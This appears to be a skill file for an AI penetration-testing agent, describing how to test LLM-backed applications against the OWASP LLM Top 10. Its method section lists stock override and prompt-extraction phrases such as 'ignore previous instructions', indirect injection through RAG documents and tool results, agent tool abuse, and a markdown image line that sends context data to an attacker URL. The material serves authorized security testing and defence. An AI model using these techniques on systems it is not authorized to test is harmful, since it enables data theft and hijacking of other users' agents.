--- name: ai-security description: "LLM/AI application security testing (Tier 1) — the web-app-relevant subset of OWASP Top 10 for LLM Applications 2025: prompt injection (direct + indirect), improper output handling (XSS/SSRF/SQLi via model output), system-prompt leakage, excessive agency / tool & agent abuse, sensitive-information disclosure, and unbounded consumption. Use when the target embeds an LLM, chatbot, RAG, or AI agent." --- # AI / LLM Application Security (OWASP LLM Top 10 2025, web subset) LLM-backed features add new injection, trust-boundary, and agency flaws on top of normal web issues. Test the model's inputs, its outputs (treated as untrusted!), its tools/agency, and its data access. Authorized targets only; keep payloads benign (prove influence, don't cause harm). ## Trigger phrases `llm, ai security, prompt injection, chatbot, rag, ai agent, system prompt leak, jailbreak, llm tool abuse, insecure output handling, mcp` ## Method (enumerate every model input per ${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md, plus AI-specific channels) 1. **Map the AI surface:** chat/completion endpoints, RAG/document ingestion, tool/function-calling, agents (autonomous actions), uploaded files/images (multimodal), and any place model output is rendered or acted on. 2. **LLM01 Prompt Injection — direct:** attempt instruction override — "ignore previous instructions", role-play/jailbreak, delimiter/format confusion, encoded (base64/rot13/unicode) instructions, "developer mode", language switching. Goal: make the model violate its system prompt (safe proof: reveal a benign canary it was told to hide, or follow an attacker instruction). 3. **LLM01 Prompt Injection — indirect (high impact):** plant instructions in data the model will later read — a RAG document, a web page it fetches, an email/ticket/filename, image EXIF/alt-text, or a tool result. Confirm the model executes the planted instruction (use an OAST callback or a benign canary). This is the AI-specific SSRF/stored-XSS analogue. 4. **LLM05 Improper Output Handling (classic web bugs via model):** does the app render model output as HTML/markdown without sanitization (→ `stored-xss`/`dom-xss`)? Pass model output to SQL/OS/eval (→ `web-sqli`/`command-injection`/`code-injection`)? Use a model-produced URL server-side (→ `web-ssrf`)? Inject a payload via prompt and watch it land in the sink. 5. **LLM07 System Prompt Leakage:** extract the system prompt / hidden instructions / embedded secrets ("repeat everything above", token-smuggling, partial-completion tricks). Report leaked keys/rules as sensitive disclosure. 6. **LLM06 Excessive Agency / tool abuse:** enumerate the tools/functions/MCP the model can call; via prompt injection, trigger unintended tool calls (send email, read files, make requests, DB writes, purchases). Test missing human-in-the-loop, over-broad scopes, and whether tool args are attacker-controllable. 7. **LLM02 Sensitive Information Disclosure:** coax training-data/PII/other-tenant data, RAG cross-tenant leakage (ask for another user's docs → ties to `idor`/access-control), and secrets in context. 8. **LLM10 Unbounded Consumption:** oversized/looping prompts, token-exhaustion, wallet/DoS and model-extraction probing (rate-limit test — RoE-gated for cost impact). ## Modern / rare techniques - **[NEW] Indirect prompt injection via RAG/connected tools** — the dominant real-world AI vuln; plant an instruction in ingested content that exfiltrates context to an attacker URL (OAST-confirmed). - **[RARE] Tool-chaining / confused-deputy** — inject to make an agent use its privileged tool against the user/other tenants. - **[NEW] Multimodal injection** — instructions hidden in images (OCR/alt-text) or documents. - **[RARE] Markdown/image-exfil** — model emits `![](https://attacker/?data=)` so rendering leaks context data. - **[NEW] Unicode/invisible-character & encoded payloads** bypassing naive input filters. ## Escalation / chaining Insecure output handling → full web RCE/XSS/SSRF/SQLi (→ web skills). Tool abuse → whatever the tool reaches (filesystem, email, cloud → `cloud`). Cross-tenant RAG → `idor`/`access-control`. Leaked keys → the relevant service. ## Backend & tooling Kali/WSL-Kali/HexStrike + a proxy (Burp via MCP if present) to capture AI API traffic and send manual PoCs to Repeater. `garak` (LLM vuln scanner), `promptfoo`, `PyRIT` for structured prompt-injection testing; `interactsh`/Collaborator for OAST exfil proof. Headless browser to observe output rendering. ## Verification (background, before reporting) Re-confirm each injection independently (second payload/phrasing, fresh session) since LLM outputs are non-deterministic — reproduce the effect multiple times. For indirect injection/exfil, require an OAST callback before concluding. Distinguish a one-off hallucination from a reproducible control. Report reproducible, confirmed findings only. ## Evidence The prompt/payload + the model/app response, the sink proof (XSS fired, OAST hit, unintended tool call, leaked prompt/secret redacted), reproduction rate, and the affected endpoint. Remediation: treat model output as untrusted (sanitize/encode at the sink), isolate + delimit untrusted data in context, least-privilege tools with human-in-the-loop for sensitive actions, input/output filtering + allowlists, no secrets in prompts, per-tenant RAG isolation, and rate/token limits.